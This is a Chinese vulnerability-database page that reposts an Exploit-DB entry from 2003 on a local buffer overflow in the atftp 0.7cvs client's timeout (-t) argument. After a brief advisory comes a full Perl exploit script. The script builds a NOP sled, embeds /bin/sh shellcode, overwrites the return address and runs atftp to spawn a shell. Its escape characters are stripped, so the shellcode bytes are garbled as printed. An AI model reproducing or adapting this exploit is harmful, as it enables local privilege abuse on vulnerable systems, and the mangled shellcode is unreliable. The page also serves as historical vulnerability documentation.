ATFTP 0.7 – Timeout Command Line Argument Local Buffer Overflow

ATFTP 0.7 – Timeout Command Line Argument Local Buffer Overflow

漏洞ID 1053938 漏洞类型
发布时间 2003-06-06 更新时间 2003-06-06
图片[1]-ATFTP 0.7 – Timeout Command Line Argument Local Buffer Overflow-安全小百科CVE编号 N/A
图片[2]-ATFTP 0.7 – Timeout Command Line Argument Local Buffer Overflow-安全小百科CNNVD-ID N/A
漏洞平台 Linux CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/22768
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/7902/info

atftp is prone to a locally exploitable buffer overflow condition. This issue is due to insufficient bounds checking performed on input supplied to the command line parameter (-t) for "timeout".

Local attackers may exploit this condition to execute arbitrary instructions.

It should be noted that although this vulnerability has been reported to affect atftp version 0.7cvs, other versions might also be vulnerable. 

#!/usr/bin/perl
# Date : 6 June 2003
#
# expl-atftp.pl : Local buffer overflow exploit for
#                 atftp-0.7cvs (client)
#
# Exploit tested on RedHat 8
#
# [jlanthea@localhost ]$ perl expl-atftp.pl
# Atftp local exploit by jlanthea - 2003
# The new return address: 0xbffffb20
# Usage: option <option name> [option value]
#       option disable <option name>
# sh-2.05b$
#
# Author : Julien LANTHEA
# Mail   : [email protected]
# www    : jlanthea.net
#
# Syntax :
#    perl expl-atftp.pl <offset> # works for me with -50

$vuln="/usr/sbin/atftp";

$shellcode =
        "xebx1dx5ex29xc0x88x46x07x89x46x0cx89x76x08xb0".
        "x0bx87xf3x8dx4bx08x8dx53x0cxcdx80x29xc0x40xcd".
        "x80xe8xdexffxffxff/bin/sh";

$offset = "0";

if(@ARGV == 1) { $offset = $ARGV[0]; }
$nop     = "x90";
$esp     = 0xbffffb20;

for ($i = 0; $i < (273 - (length($shellcode)) - 4); $i++) {
    $buffer .= "$nop";
    }

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset));

print("Atftp local exploit by jlanthea - 2003n");
print("New return address: 0x",sprintf('%lx',($esp + $offset)),"n");
exec("$vuln -t '$buffer'");

相关推荐: 3Com SuperStack 3 Firewall – Content Filter Bypassing

3Com SuperStack 3 Firewall – Content Filter Bypassing 漏洞ID 1053740 漏洞类型 发布时间 2003-03-05 更新时间 2003-03-05 CVE编号 N/A CNNVD-ID N/A 漏洞平…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享